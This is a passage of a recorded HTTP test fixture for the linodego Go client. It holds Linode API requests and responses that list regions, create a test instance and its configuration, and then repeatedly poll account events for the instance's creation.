1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 22}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-5j99m3hj2s1q","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 49044775, "label": "go-test-ins-wo-disk-5j99m3hj2s1q", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.233.227.179"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "9a9f3d33621d0539fc39a11a88b8b9564e9e5443", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-x236gv7k8g5x","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49044775/configs method: POST response: body: '{"id": 51960511, "label": "go-test-conf-x236gv7k8g5x", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json 